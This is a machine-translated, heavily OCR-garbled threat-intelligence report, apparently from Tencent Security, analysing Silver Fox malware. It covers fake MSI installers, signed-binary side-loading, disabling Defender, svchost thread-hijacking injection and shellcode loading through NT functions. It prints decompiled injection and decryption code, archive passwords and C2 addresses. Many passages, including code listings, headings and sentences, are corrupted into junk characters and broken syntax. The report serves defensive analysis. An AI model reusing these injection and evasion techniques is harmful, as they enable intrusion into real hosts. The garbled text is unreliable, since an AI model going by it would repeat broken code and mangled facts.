mp.weixin.qqg.com /s/deOWmTrT1itvyC5gQiMBI1w

Unknown Title

The Silver Fox attack situation continues to heat up, and the confrontational tactics are constantly updated.

Tencent Security, as a comprehensive security vendor with both cloud management security products and
threat intelligence capabilities, and at the same time, it is deeply coordinated with Tencent's ecological
products to combat silver fox phishing attacks, with core threat perception advantages. At present, Tencent
Security has accumulated a large number of exclusive solutions in the aspects of Silver Fox basic IOC
detection, behavioral TTPs protection, residency items and defense avoidance technology detection and
cleaning, which have been fully verified and effective by individual and enterprise customer scenarios. We
have released a number of technical and tactical intelligence reviews used in Silver Fox attacks, in order to
unite more security manufacturers and enterprise security departments to combat silver fox phishing attacks,
we will continue to share the latest intelligence and offensive and defensive technology solutions of the Silver
Fox gang, and jointly escort the Internet security of the industry.

Silver Fox Intelligence Sharing Issue 1 | Latest Active Techniques and Tactics from Att&CK's Perspective

Silver Fox Intelligence Sharing Phase 2 | Silver Fox Weapons Database Update, Add RootKit to achieve
multiple stealth

Silver fox intelligence sharing No. 3 | Silver fox hard and hard, hard and hard, hard and a hundred security
software, quietly hiding to kill soft trust zone
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https://mp.weixin.qq.com/s/deOWmTrT1itvC5gQiMBI1w
https://mp.weixin.qq.com/s?__biz=MzI5ODk3OTM1Ng==&mid=2247510497&idx=1&sn=6dfe9eed213f19e3d304132f1e46c3f5&scene=21#wechat_redirect
https://mp.weixin.qq.com/s?__biz=MzI5ODk3OTM1Ng==&mid=2247510666&idx=1&sn=363c144c380652e256ba574ddfc660b3&scene=21#wechat_redirect
https://mp.weixin.qq.com/s?__biz=MzI5ODk3OTM1Ng==&mid=2247510749&idx=1&sn=380a24de9de0c991e7cf7feb321dee18&scene=21#wechat_redirect

Overview

In this issue, we open a limit dodging journey of the Silver Fox gang: implementing different execution
strategies for different terminal security software to achieve more effective defense avoidance effects has
become the first choice for silver fox tactics. For example, in this attack, Silver Fox first judged the current
system terminal security software environment, and chose a differentiated tactical strategy according to the
host security environment.

A: When it detects the system's current non-specific security environment, the Silver Fox pulls up two
disguised svchost puppet processes, injects malicious code to implement two-process guardianship, and
externally executes C2 activities.

B: When the system's built-in Defender service is detected to be turned on, it is forcibly closed using no-
defender (Defender third-party undisclosed operation interface) weapon, and then the injection C2 activity is
performed.

C: Differentiate from the previous discovery of the silver fox selection of hard Tencent computer butler
process, service, registry, trust area (silver fox intelligence sharing No. 3 | silver fox soft and hard, hard and a
hundred security software, quietly hiding in the soft trust zone) strategy, this branch of silver fox when
detecting the existence of computer butler terminal security products, choose to dodge the development
route. First, the process reduces the injection of svchost.exe strong intrusion in other security environments,
and turns to using the NT memory operation function to carry out C2 outreach activities after performing
Shellcode in its own Loader, in order to circumvent some of the R3 Inline Hook detection mechanism.
Secondly, the use of white files is increased compared with other security environments, by using the
characteristics of the QTalk.exe sub-process after the execution of white files, disguise the white link of the
entire Trojan execution process, and disguise the planned task persistence items to point to white
applications to avoid the risk of being cleaned up.

The final C2 tool has built-in Hidden-Rootkit function module, which can be hidden from the application layer
Trojan file, registry, and process at the kernel layer after accepting the C2 instructions.
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https://mp.weixin.qq.com/s?__biz=MzI5ODk3OTM1Ng==&mid=2247510749&idx=1&sn=380a24de9de0c991e7cf7feb321dee18&scene=21#wechat_redirect

At the same time, in this attack, we found a broader total control domain switch, which covers multiple C2
addresses used by the silver fox. Analyzing the switch suspected of controlling the top-level personnel of the
silver fox gang industry, and by properly configuring the switch, it can be hijacked with a specific malicious
load with the C2 loading configuration of different branches. The switch can be used by black-produced top-
level attackers to update C2 or black backdoors online, and according to our overall analysis and

experience, the use is more biased towards the latter, and the sample implementation process as a whole is

as follows:
A

C2amE it
haxxpl:]//3236dsfdfgt[.]icu/kk1/154.23.184.26/code32

s RO

C)

R 360E e thiT

FE il b —-

PhwDTSLIQYKOOYO part!

PhwDTSLIQYKDOYO part2

S S R
PhwOTSLIQYKOOYO.

(2

zpag: 1MARIEHENRED

iR ————

[SESSEESSS

Ipag: iR

swchost exeH]
GUARDTFH

a7F: LZTTHEER

swchost.exe

EHI0
ST A MaiEshellcode

i ANEEHES

WEERTEE

InitFeoHknulL.exe {goloader) -

122
xdZXIRqPgbOW.exe (tencent
BET)

Qlalkexe (goloader)

MRS

ARXBZKmSGZnMhv.exe — R A— rGgmkuZhahzmwHE. g

T

I R

svchost axe LA
IS5 iR

THigE b
Hidden-Rootkit
L]

W LITTRIERET

InitFecHknul

|

$HE

We summarize the techniques used in this attack (ATT&CK matrix yellow) and its focus (ATT&CK matrix red)

for industry reference .,
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File load

Initial access (TA0001)

e Drive by Compromise: T1189
Technical point analysis (based on Tencent Yuanbao generation)
Attack core processes:

1. Keyword SEO Hijacking: Analyze the search habits of target groups and improve the ranking of fake
pages through keyword stacking and chain construction.

2. Counterfeit page + dynamic poisoning: Clone official website interface, embedded false authentication and
malicious download links (including JS dynamic generated address), to avoid static killing.

3. Multi-level jump + obfuscated loading: Short-chain/cloud storage multi-layer jump, or JS stage-loading
malicious content (such as bundled Trojans, exploit documents).

4. Environmental camouflage and variant iterations: Detect sandbox/virtual machine feature delay activation,
cloud dynamic distribution of payloads, regular change of domain name/hosted dosing dotted.

Technical essence: using search engines as a medium, through the "search trust — page camouflage —
dynamic poisoning — environmental escape" four-step closed loop, to achieve "passive poisoning".

4/30



Technical point analysis (based on Tencent Yuanbao generation)

Homogenous Characters:

The attacker replaces the normal characters in the filename with visually similar symbols, such as replacing
the letter "0" with the number "0" (such as "invo1ce.pdf" disguised as "invoice.pdf"), or replacing the number
"1" with the uppercase "I" (such as "passwOrd.I" disguised as "password1)"), and even mixed with special
symbols (such as "documen_t.pdf" replacing "i"). This kind of camouflage will make the file seem legitimate
(such as invoices, contracts), but it actually hides malware. Once the user clicks, it may lead to a data
breach or system to be compromised. Defense requires manual checking of the source of the file, being alert
to the combination of abnormal symbols, and turning on the security software scanning function.

This branch of the Silver Fox matrix is good at camouflage E XX E M S | format installation packages , ,
which 5gjare propagated through puddles on the Internet the way of software , chat and translation
software, browser and other high-frequency application types, covering the mainstream use of domestic
users daily use of the main application scenarios. Its installation process normal white files, non-PE
encrypted files, etc., some installation packages are fattening to avoid security software tracking, , and
some file names are confused with homomorphic characters to , avoid security software identification.,

REIVASE REIVES e
kuailianvpn2.0.msi VPNRL A
KakaoTalkSetup+2.0.msi NS
Cross-border e-commerce translation T :

2 0.msi ranslation Software
yOudaODictfanyiwe1.msi B
kantuwan92.0.msi E ANV
AR IOES A .msi TR
WSPWSaassssS.msi Office Applications
ChromeSetup1.msi DU
MuMu_#5EFZ8 % 3= 41-SK.exe simulator
NeteaseCloudMusic64.msi Music Software

1T (Execution : TA0002)

« PP ET (User Execution : T1204)

BA(RIRMSIZKEXE |, B3R FAHUT , =S PUTEERARIOEE. AXUAFRBEIUSHMSITE AT
RITRSHT , BEMSIZERBRAE S A , TE6S

FilezR P4 Mz O3fF
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1 : AjtXBzZKmSGZnMhv.exe (FETzpaqitifig E4E T )
2 : PhwDTSLIQYKOOYO part! (EEZFTEMEMERS1)
3 : PhwDTSLIQYKOOYO_part2 (FEZEH AT E4ERERD2)
4 : veruntime140.dll (1IB{TXFFE)

BinaryZR K 1/M& M3 MAZ B30

nchslkecMoWxchGhRUSRnSgQwgNSmtxtgBDgMNIi

® 2msi - InstEd
File Edit View Tables Transform Plus Tools Window Help
Z.msi
Compenents Features File Componert_  FileName
Tables Dislogs lkecMoWaechGhRUSRnSgOwqNSmixtg BDgMNiedf PMiczluSUc... mm7oscvh|PhwDTSLIQYKOOYO part1
_Columns IkecMoWschGhRUSRnSgQwaNSmixtgBOgMNiedfaaas  PMkzluSUc.. opwljo7fiPhwDTSLIQYKOOYO part2
Straams rlkecMoWxchGhRUSRNSgQwgNSmbagBDgMNi PMlczluSUc...  afglzwvy.exe|AjXBzKmSGZnMhv.exe
Tables ylkechoWichGhRUSRNSgQwgNSmtxtg BDgMMNifd| PMkzluSUc... iadkg3yidiifveruntime140.dil
Validation
AdminExecuteSequence
AdminUlSequence
AdvtExecuteSequence
Binary
Companent
CustomAction
Directory
Featu
4 FeatureComponents
i File
| InstallExecuteSequence
InstallUlSequence
Media
MsiFileHash
Broperty

| [Jshew empty tables

1 i3 EJEnable Row Reference Tracking
__ Table Row Key Relationship Description

Defense Evasion (TA0005)
¢ Obfuscated Files or Information (T1027)

Technical point analysis (based on Tencent Yuanbao generation)

2027227  «<nul

808538
540160
78224

<null= <null=
null= =null=
14.30,30626.0 1033

sage Attributes  Sequen

0200 1
00200 2
0x0200 3
0x0200 4

The Trojan destroys feature recognition by bundling/encrypting the core malicious code (load) (such as

specific algorithms such as AES/RSA) and deformation processing (code rearrangement, string substitution,
etc.); runtime is only decrypted and executed in memory to avoid detection traces of disk residue. This is

through encryption to hide malicious logic, confuse interference with static analysis, making soft, IDS and

other tools difficult to identify, and ultimately achieve long-term latent and hidden attacks.

Analyzing the core script of its MSI installation process, it can be seen that the malicious load first merges
two files of PhwDTSLIQYKOOYO_part1 and PhwDTSLIQYKOOYO_part2. Get PhwDTSLIQYKOOYO. The
document. The command line then calls the AjtXBzKmSGZnMhv.exe tool and uses KEY=;
{351aBFHENuGChChABHO to extract its password and get rGgmkuZhzmwHB. The document. And part of
the log output in the installation script is also clear that the Trojan is written and maintained by the people.
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The complete command line is as follows:

jIXBzKmSGZnMhv..exe x

"C:\Program Files (x86)\ReportingExploreDynamoDB\PhwDTSLIQYKOOQOYO." - force - to
"C:\Program Files (x86)\ReportingExploreDynamoDB"

- key ";{351aBWhChABHOJ"

&5

DR B R

Set

outputStream.Open

& fileName) Then

& fileName
out m.Close

Exit Function

| BFHREINS

Set reated

adType

ir

FromFile filePath

rGgmkuZhzmwHB. The file is then decompressed again using the AjtXBzKmSGZnMhv.exe tool password,
with the difference between the KEY=_4 #61eVytzCLuYBPsytlL used. Get a further signed white file as well,
written in the go language, which is used in multiple payload names (*JnitFeoHknuL.exe,

VirtualizationTenacious.exe) while releasing the non-PE file encryption configuration JnitFeoHknuL.

The complete password decompression command line is arranged as follows:

AjtXBzKmSGZnMhv.. - not not "1_JnitFeoHknuL.exe" - not

"1 "not™___/ |/ SERVERFILENAME2_ " - -not "asd" - not "sdf" - not "{-not _xdZ_xIqRgw. -

not "1_.xml"-not -not -force -to-key #61eVytzCLUYBPsyiL- not .exe" .
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javascript:;
javascript:;

3097015829 » 333 » 2 » ProgramFilesFolder » ReportingExploreCynamoDB » ZXREEE

B ] ] [0|]
1 JnitFeoH 2 JnitFeoH | JnitFeoHk = Virtualizati  xdZX|IRgP

knul.exe knuL.exe nul onTenacioc gbOW.exe
us.exe

e White Execution Flow (T1574)

Technical point analysis (based on Tencent Yuanbao generation)

AREBEPAEREEREF (ARG LAE ARG , st asiitkRER TRESS (A, R

A2) |, FEARSRO B sE. B, EIX#H%J%B?.PDFD#H 2, B3RARR ERNREEEXES AL

A, B RERAEN , RASITFRITHTIIETR ., BFESHRT AT, XHERIRRIER NTFINE
K, FRMTE SR T AR R REX

AGERMYFTAGLLTLREIMNE , UIRERNZIBABRNER UL RLELIGLLF M , Go-LoaderE#y
A1THIT(C:\Windows\JnitFeoHknuL.exe -ReportingExploreDynamoDB 235) , 7E N7FF fi# % Az OB B3
#,

When it is detected that Tencent computer butler and similar terminal security products, the malicious logic
has changed, through the implementation of the Tencent white use program execution, the use of white
process chain to implement malicious logic, and set the planning task persistence (white use chain can be to

some extent to avoid its persistence items are recognized abnormal results caused by being cleaned up).
The specific process is:

1: Sent signature random name file execution.

2: The Tencent signature white module automatically pulls up the QTalk.exe file in the same directory
(Goloader without parameters)

3 : QTalk.exetF2hitt Goloader : C:\Windows\JnitFeoHknuL.exe -ReportingExploreDynamoDB 235 , N1%
FREPIT BB,
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FFEHR360

C,

-

i

'®) — i

——— RO ——

W DA - InitFeoHknuL.exe ows\UnitFecHkn
=1 " IEE 2 @ m e @ ! @ '

S

Library function Ml Reqular function Ml Instrustion

-

AR

JnitFeoHknuLexe (goloader) oo

f

HATEIR Bl

PhwDTSLIQYKOOYO_part1
PthTSLIQYKOOYO partZ
BRI

PhwDTSLIQY KOOYO

zpaq: TRWREARAEE:

AjtXBzKmSGZnMhv.exe 5 1577

y | T
xdZXIRqPgbOW.exe (tencent

TEM)
QTalk.exe (goloader)

R ST

rGgmkuZhahzmwHB.

| zpaq: bAﬂEﬂEﬁE—T

Windows Help

Data [ Unexplored | External symbol M Lumina funetion

‘D6 LROm-Oao) » DO EEEEE ©EE

Debug View [ x] 0
IDA ViewEIP (] Fraudocade—h
® [ debugee3:2a2484£2 EB 5F Jjmp short loc_2A24@543 ~
debugB63: 2A2404E4 e e
debug@63: 242444
debugB63: 2A2484E4 loc_2A2484E4: ; CODE XREF: sub_2A24B497+4715
: debug@63: 2A2404E4 FF 76 85 push dword ptr [esi+5]
debug@63: 2A24B4E7 53 push ehx
- debugBb3: 2A2404E6 FF 76 29 push dword ptr [esitd]
: debugBB3: 24240458 57 push  edi
. debug®63: 2A2484EC FF 55 FB call dword ptr [ebp-8
N debugB63:2A2484F2 B3 FB FF emp eax, @FFFFFFFFh
“ | debugees:2a2404F5 74 20 jz short loc_2A248517
N debugd63: 2A2404F7 3B 46 85 cmp eax, [esi+5]
= AshinBE2 INTABAEL TE 1R A hart Tar FAIAGE1T
UNENOWN ZA2404EF: sub_2A240497+58 ( ized with EIP) w
[@)] Hex View-L 0 & x
2ASDeSRE S5A 90 20 03 20 90 @@ ©O4 00 @0 00 FF FF @0 @@ MI.............. A
24506010 BB 0O 0O 0O 00 00 00 B0 40 00 00 0O BO 2O 0O 0O
2ASDES2G ©0 00 B0 0O 00 00 00 BB ©O 00 G0 00 80 B8 00 88
2A5DBO30 09 00 B0 GO 0O OO °0 A 0O 0P 02 B0 10 21 00 80 [ZASCFOEC P@aCeeee
2A5DE840 QE 1F BA OE @0 B4 @9 (D 21 B8 91 4C (D 21 54 68 ......eex..leTh 2ASCFOFE  2A240000
24508858 69 73 28 78 72 6F 67 72 61 6D 28 63 61 6E 6E 6F is:program-cannc [ZASCFOF4  2A240000
2A5DEOEE 74 20 62 65 20 72 75 6E 20 69 GE 20 44 4F 53 20 t-be-run-in-DOS- 2ASCFOFE  0R2BReaR
2ASDEE7@ 6D 6F 64 65 2E @D @D @A 24 00 @0 00 2O B0 20 09 [QASCFIFC  76B65F20
245D@9E8 (@ F2 F4 34 34 93 94 67 B84 93 94 67 34 93 94 67 2ASCFABE 76872990
2ASDe@%2 C(F EB 99 66 B8 93 9A 67 CF EB 9F 66 3E 93 9A 67 [2ASCFAB4 76B65ED@
2A5D88AB 94 17 9E 66 94 93 9A 67 94 17 99 66 9D 93 9A 67 .. 2A5CFABB T6B65EF@
2ASDB8BA 94 17 9F 66 E5 93 OA 67 CF EB 9E 66 9E 93 9A 67 .. . QASCFABC  76B65E98
2AsD@eCe CF EB 9C 66 86 93 9A 67 CF EB 9B 66 99 93 9A 67 ...f...g...f...g 2ASCFALG T77BCB640
2A5DEED@ 84 93 9B 67 99 92 9A 67 CC 16 9F 66 82 93 9A 67 ...B...E...T...§ ZASCFAl4  T7BCBET@
2A5DBOE® CC 16 9A 66 B5 93 9A 67 CC 16 98 66 85 93 9A 67 ...f...g...f...pg [ZASCFALE  2A2485BF
2ASDEOF@ 52 69 63 68 84 93 OA 67 0O 00 @0 00 00 00 00 @@ Rich...g........ ZASCFALC 90008080
IHIAIAERT FRERAAAA. MT - INERAAAA wo | lmrmeens anerwara.
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Memory load

Sustainability (TAO003)

e Scheduled Task (Job:

T1053)

Technical point analysis (based on Tencent Yuanbao generation)



The mission is the system-level function of the Windows PowerShell to create camouflaged tasks, imitation
of legitimate task names (such as MemoryDiagnostic) and binding SYSTEM permissions; defining complex
trigger rules (such as idle triggers, event log triggers) through XML configuration files, combining path
confusion (quotation package characters, space interference) and registry modifications (such as
UserlnitMlogonScript keys) to bypass detection; some Trojans overlay multi-stage resurrection chain. Such
attacks achieve no file residues through the legitimate function of the system, significantly improving
concealment and survivability.

7 #TGo-LoaderNfFHRIERTT , AFTKIBNARLRERSS | FRIBSHRPN T SHXIMEISHT , FAN , M—EORIZE
Rl IEhRE.

First 77z ,Create Plan {£% Tasks by com Components: :
clsid : {OF87369F-A4E5-4CFC-BD3E-73E6154572DD}

iid : {2FABA4C7-4DA9-4013-9697-20CC3FD40F85}

726C946C off_726C946C dd ;ffset sub_7267C478 ; DATA XREF: sub_7267C378497c
726C946C ; sub_7267C3Be+Cto ...

76 riid IID <2FABAACTh, 4DASh, 4813h, <96h, 97h, 28h, BCCh, 3Fh, @D4h, @Fh, \
85h>> -
;3 const IID rclsid
rclsid IID <@F87369Fh, B@A4ESh, 4CFCh, <BBDh, 3Eh, 73h, @Eeh, 15h, 45h, 72h, \
@DDh>> -
off_726C9408 dd offset _ DestructExceptio
5@ = -1;
& v49[4] = &loc_726ABA11;
62 v49[3] = NtCurrentTeb()->NtTib.Exceptionlist;
53 vao[2] = &vs3;
CoInitializeEx(®, @8); £ MtadkconEE - AEEcomiREiCEE
saa[e] = e;
66 Instance = CoCreateInstance(&rclsid, @, lu, &riid, v29);// // BERcoMPSEH] - FHrclsidiriidd3EBEERAMcoT S
67 if ( Instance >= 0 )
g { . -
9 37 = *(int (__stdecall ) (LPVOID, _DWORD, ULONG, LONG, LONG, _DWORD, ULONMG, LOMG, LONG, _DWORD, ULONG, LONG, LONG, _DWORD, U
78 45 = sub_72668178(&v4);
71 44 = w455
72 =8
. e

P—H 1B FIRT IR RS USRS IR AN LRI RGN R LMEIER | TZMT P AR MRS X
ZHEE , BTRITARMEALEZE.

1: : Tencent computer butler terminal security products (do not perform svchost injection behavior , ,
execute shellcode the NT function , , white use chain persistence,

2: : D efender (injecting svchost double process , no -d dee ee n d e r rviolent confrontation , , persistence
of non-white ¥I|FHstrands.

3: : Other (injection , persistence 3 non-white-use chain).,
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data: /2bAbBUE db B
data:726A68DF db 8

‘data:726AGBER a36@ 5 db '368°',8 y DATA XREF: sub_7VZ2esD438+13Tr

‘data: 726468E4 aZhudongfangyuE_@ db '”hchng angyu.exe ,B

‘data:726A6BEL DATA XREF: sub_ 7266D0438+1BTr

‘data:726A6BEL 3 sub_726ED4384241r

‘data:726A60BFE align 4

‘data:726ABBFE ; const CHAR ServiceName[ ]

‘data: 726ABBFE ServiceName db "WinDefend',® 3 DATA XREF: sub 7266DBEE42ETC
‘Uavas T e s L MDD & F1ly A3 yEFlly x pEFlly A3 g Eilly 3
‘data:72 DATA XREF: sub_72672B38+7ATo
data:726ATEA] align 4
‘data: 7264 ? AB ; const unsigned _ intB aQqpcrtpExe
‘data: 726A7EAS aqucr‘tpExe db "QQPCRTP.exe',@ ; DATA XREF: fuckyout34to

Defense Evasion (TAO005)
e DefenderXJ#i (Impair Defenses : T1562)
Technical point analysis (based on Tencent Yuanbao generation)

The Trojan "Avast"triggers the system to force the closure of Defender's mechanism a false antivirus

software (such as "Avast") Windows Defender. Some Trojans also create self-starting items to ensure that

the system continues to reside and maintain Defender shutdown

For example, the following adversarial strategy: Perform no-defender counter-weapons when it is detected
that the current system is equipped with Defender protection. No-defender is publicly released by security
research es3n1n, and security researchers have analyzed the logic of Defender's undisclosed third-party

security services to take over the business through the reverse Avast security software interface, and write
modules to achieve indirect shutdown of the Defender function. Due to the impact of the DMCA policy, the

author has deleted the public project on 24/06/08.

NATE WREE: o 2 EETEAGBLY EE 4

; DATA XREF: sub_72657F48+4155To
g align 4
C aDoneThanksForl db "** done! thanks for using the no-defender pr CJecf ant e
DATA XREF: sub_ 72657F48:
align &
% aPleaseDonTForg db "** please don',27h, 't forget to leave a star at https://github.co’
DATA XREF: sub_72657F48+1F5To

db 'ersSnlnfnc—defendE'. 8
5 aPleaseDonTRemo db "** please don',27h, 't remove any files from this folder, otherwis’
DATA XREF: sub 72857F48+228T0
db 'e no-defender xculdn )2?h "t be activated after the reboot!’ N
align 1eh
alfYouWishToCha db "** if you wish to change the folder, please de-activate no-defend’
DATA XREF: sub 72657F484+25110
db "er, change the fcldE’ and activate it again',@
‘data: align 1@h
‘data: ?26A28?B aToDeActivateTh db "** to de-activate the no-defender please run ',27h, "no_defender.e’

'data 726A2B7@ ; DATA XREF: sub_72657F48+27Afo

nnnnnnnn 0o e T T T
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F master - = 1 © 0 Tags &) t About

A slightly more fun way to disable
windows defender + firewall. (through
the WSC api)

@ es3nin updat ; 4 L) 6 Commits
[ LICENSE

o
[ READMEmd

[0 README &% GPL-3.0 license

DMCA (08/06/24)

This project was DMCA'd by some company, so all the releases, sources and everything else was wiped off, but if you

still find my project useful or interesting, please leave a star <3. Releases

no-defender Packages

A slightly more fun way to disable windows defender.

Virus & threat
protection Windows Community videos

github.com/es3n1n/no-defender Do you have a question?

Current threats

@ Mo actions needed.

Protection settings

@ Noactions needed.

Protection updates

@ No actions needed.

How it works

There's a WSC (Windows Security Center) service in Windows which is used by antiviruses to let Windows know that
there's some other antivirus in the hood and it should disable Windows Defender.

This WSC API is undocumented and furthermore requires people to sign an NDA with Microsoft to get its
documentation.

Limitations

Sadly, to keep this WSC stuff even after reboot, no-defender adds itself to the autorun. Thus, you would need to keep
the no-defender binaries on your disk :(

e Process Injection: Thread Execution Hijacking: T1055.003
Technical point analysis (based on Tencent Yuanbao generation)

The Trojan injects malicious code into the thread context and executes it by suspending the target process
thread, modifying its instruction pointer, etc. The role is to bypass process monitoring and use host
permission to covertly execute; the purpose is to infiltrate legal processes (such as system services), avoid
anti-virus software detection, achieve malicious behaviors such as theft and remote control, and improve the
concealment of attacks.
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Subsequently, in order to further hide its subsequent malicious functions, the malicious Loader will enable
the svchost system service process twice, and inject shellcode into the internal, and inject two core function
modules (GUARD daemon, backdoor C2 communication module) into the disguised system svchost process
to execute.

i

else if ( !CreateProcessA(
"C\\Windows\\System32\\svchost.exe”,
PSTR)" -k netsves”,

mm@@g@@@ﬂ
[Ea W e

))

return 8;
¥
= 4;
= WirtualAllocEsx( .hProcess, 8, , Bx38008u, Bx48u);
if (
&% WriteProcessMemory( .hProcess, N N , B)
&% ( .ContextFlags = exleeel,
memset (& .Dre, @, Bx2C8u),
GetThreadContext( hThread, & ¥y
.Eip = (DWORD) B
SetThreadContext( -hThread, & 0D
if (
sub_7266F198( .dwProcessId);
ResumeThread( .hThread);
CloseHandle( .hThread);
CloseHandle( .hProcess);
return .dwProcessId;
}
else
{
TerminateProcess( .hProcess, @);
return @;

}
}

e End-user security product avoidance (Native API: T1106)
Technical point analysis (based on Tencent Yuanbao generation)

Trojans . implement covert attacks by calling Windows underlying Native NtSetValueKey NtCreateThreadEx
NtSetValueKey to bypass conventional API monitoring to directly modify registry keys (such
Microsoft\Windowsas HKEY _LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\ CurrentVersion \ Run
implement in-memory file-free injection NtMapViewOfSection NtQuerySystemInformation to hide
/process/thread information. This type of API call bypasses the user layer protection mechanism (such as
EDR behavior monitoring), which can break through the traditional soft detection logic, and combine the
process hollowing (such as hanging svchost..exe into malicious code) and system service hijacking (such as
tampering with the BootExecute registry key), forming a deeply hidden persistent attack chain.

MMFor Tencent computer butler terminal security products , , Xfit {§ Fluse the svchost l#&{g form to itself , ,
but through its own process loading execute S hellcode, It is speculated that i%the main reason for this
behavior , the attacker found 7£4T Athat the behavior is monitored in the Tencent computer butler terminal
security environment , and the use of i%this method 1#t{Tto prevent circumvention will £expose its intrusion
behavior, resulting in #being intercepted and cleaned up , and then taking 7T the way of relatively silent B
Eitself to load S hellcode.ljA,. The code execution process is also an exception , , not directly calling
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the surface layer AP | , , but dynamically zh7Sreferring to the relative underlying N T function , , to
circumvent some application layer Hook ookdetection.,

= @

=&
GetModuleFileNameA(®, , Bxledu);

= sub_72676668( s )
if )

s =8 / HREERREHRIFreEE
read_decrypt_payload((int) , & , (int *)&va);
strepy( , "NtAllocateVirtualMemory™);
strepy( » "NtWriteVirtualMemory™);

= *yB;

= LoadlibraryA("ntd11.d11"});
= GetProcAddress( N 5
= LoadlibraryA{"ntdll.d11");
= GetProcAddress(vl, )i

({void (_ stdcall *)(int, int (**)(wvoid), _DWORD, int *, int, int)) )

-1,

&

8,

&

4896

64);
({void (_ stdca 1 int, int void), int, int, _DWORD (-1 * a)

= (); // runshellcode

g_memapiisok = 1;
return ;

e C 2 zZfarObfuscated Files or Information: T1027)
Technical point analysis (based on Tencent Yuanbao generation)

The Trojan destroys feature recognition by bundling/encrypting the core malicious code (load) (such as
specific algorithms such as AES/RSA) and deformation processing (code rearrangement, string substitution,
etc.); runtime is only decrypted and executed in memory to avoid detection traces of disk residue. This is
through encryption to hide malicious logic, confuse interference with static analysis, making soft, IDS and
other tools difficult to identify, and ultimately achieve long-term latent and hidden attacks.

The first shellcode is intended to load remote control C2.

By opening the non-PE malicious load of the same process name (JnitFeoHknulL) in the local same
directory, the loop 20 bytes KEY decrypts the shellcode execution, and the key structure information of the
JnitFeoHknuL file is as follows:

1:offset: O first 4 bytes to store the malicious load size.
2:0offset: 24-43 bytes to store 20 bytes decryption KEY.

3: Offset: 44 bytes start storing encrypted payload content.
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drat

h B = P, E

Offset 0 1 2 3 4 5 & 7 B 9 A B C D E F h:Lxl
00000000 | 36 42 OE 00 B9 3F AE B84 11 SE 47 CF E7 E9 45 1C
00000010 | 9F 36 DE BF AS Bé 6C C8 C8 21 SE 62 D3 B2 SD F9
00000020 | DC OF 6C 65 SB F2 69 F1 15 49 S50 68 21 B3 Sk 62
00000030 | D3 E7 D6 15 SF E3 74 36 0D 79 18 CD 42 CO 05 9C

)sub_72675C98)(v9, » HIDWORD( 1} H

(!
sub_726720B@(v15);
-8

;

sub_726757E8(*a3, , au);

* )*a3 = ( int) (%( )*

sub_726757E8( (int)v1is, + 24, 20u);

00000040 | 43 65 50 1A 56 72 29 94 SF 73 62 19 SB B6 OF 74

size:20byte 00000050 | 49 41 48 EL 95 D9 DB B9 A7 E9 D6 AD D4 13 E7 11
= unknown_libname 108(*( y*a3); 00000060 | 53 D2 6& 20 9E 0D 58 4C CB DO D7 37 3B Bl 9C Ch

- yoEs - 00000070 | 0E 86 19 95 D2 B7 85 74 CE 3D 64 E3 F4 B7 6D 94
: 00000080

for (=8 ;+4) 00000090

{ 00000040

=i 000000ED

{ 000000CO
break; 000D0DED

rr )

i ( el 000000FD
. H . 00000100
( M+ vi4) e vIE[vi2e+]; 00000110
if ( »= 20 ) 00000120

-0 00000130 2
} 00000140 & 416,k HOR}Cale
y*a3 -= ad; 00000150 g 2 Dai#’ 5cle!labkeGr
. 00000160 a7 oD B 6 7 2 DS GS I QKnv:—A o-
00000170 2 3 C /9
‘ 00000180

= ( Jvid; 00000190

sub_7267AFDA( ( yvia); 00000140

if ( ) 000001B0

( )
sub_726757E@(*a2, + a8, *( )*a3)

DLLEUlEU

000001F0D | 2 2 90 Ea B 3D 43 CD DD 8E CB 39 95

After the execution of shellcode, combined with the LZ77 decompression algorithm, finally decrypts the
complete C2 tool memory correction and execute.

o sub_CD(v1l); // peb-ldr-init api

1wl = sub BB(); // exFrasFeen EE(L

o /7 THEEIRETE vis = e

3 BxBALSAA; // Bxleeeeasss

5 ORD *)(v@ + @xBALS557); // 188888557 -->8x26D

6 JORD *)(ve + BxBALS4B); // 180888548 -->8x75

7 vl + w3j // 18@eea7B7-->7B7 payload

& w0 oo

1+ 5);
(__cdecl *)(int, _DWORD, int, _DWORD))(vl + v4);// 1:0000@5BF
Ule, 4896, 4);

Fa

B
e e o2
5 C =
[:

Lo LU L LU L L L LU L B3R BRI R ORI BRI ORI R ORI}
b L& A s : - e 11

o

I

o+

E - =

SSoe

E]

©

v9 = vl4(payload, *(_DWORD *){vl + 9), v6, *(_DWORD *)(vl + 5));// LZ77ME
7 if (w9 == -1 || v@ = *(_DWORD *)(vl + 5) )
2
9 vI3(v7, *(_DWORD *)(vl + 5), @x4eea); /f fix-pe-run
48 return @;
41 } B
43 2 '
44 }
45 if ( *(_BYTE *)vl )
46 ((void (_ cdecl *)(_DWORD, int, int *))sub_1CB)(@, vl + @xll, &v15);
—5 cdecl *)(int, _DWORD, int *))sub_1CB)(vl + @xll, @, &v1s);
49
5@ s F(_DWORD *)(vl + 5), @xaeee); // fix-pe-run
51
52 }

wd53EH (Initial Access : TA0011)

. IEFEFEH (Remote Access Tools : T1219)

Technical point analysis (based on Tencent Yuanbao generation)

The core of the Trojan's illegal operation through remote control of the host is to establish a hidden remote
command channel to achieve long-term control of the target host. First, the Trojan and the control (C2
server) establish an encrypted communication link (such as HTTPS, DNS tunneling) to ensure the
concealment of the instruction transmission; second, the control party sends illegal operation instructions
(such as stealing sensitive files, formatting disks, hijacking the camera, or launching a DDoS attack), and the
Trojan receives and calls the system API execution, which is disguised as normal process behavior (such as
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using the legitimate process memory space). Such technologies allow attackers to break through physical
limitations and remotely complete illegal activities such as data theft, system destruction or extortion, which
seriously threatens host security and data privacy.

The C2 %15/ C2backdoor built-in communication address obtained after decompression Ajis: 154][.]
23.184.26 , , as well as some key C2 grouping, version and other configuration information.

[Ep—— ——

(1 1@B1Fe9A mov ecx, 212h

;1 1@81Fe9F mov esi, offset al542318426 ; "154.23.184.26"
(1 1@@1FBAd lea edi, [esp+@F3gh+var_843]

11 1@@1FBAB push 849h 3 unsigned int

;1 1@@1FaBe rep movsd

::1881FBB2 call ?PI2@YAPAXIEZ ; operator new(uint)
S 1@B1FeB7 maov ebx, eax

(1 1@B1FeBa maov ecx, 212h

11 1881FBBE lea esi, [esp+BF38h+var_848]

S 1@B1FeCs maov edi, ebx

s 1ealFecy rep movsd

s 1ealFeca add esp, 4

(1 1B@1FBCC movsh

s lealFecD mav esi, ds:lstrcpyd

(:18@1FaD3 push ebx 3 lpString2
rlealFeDd push offset alS42318426 ; "154.23.134.26"
(:18@1FaDa call esi ; lstrcpyA

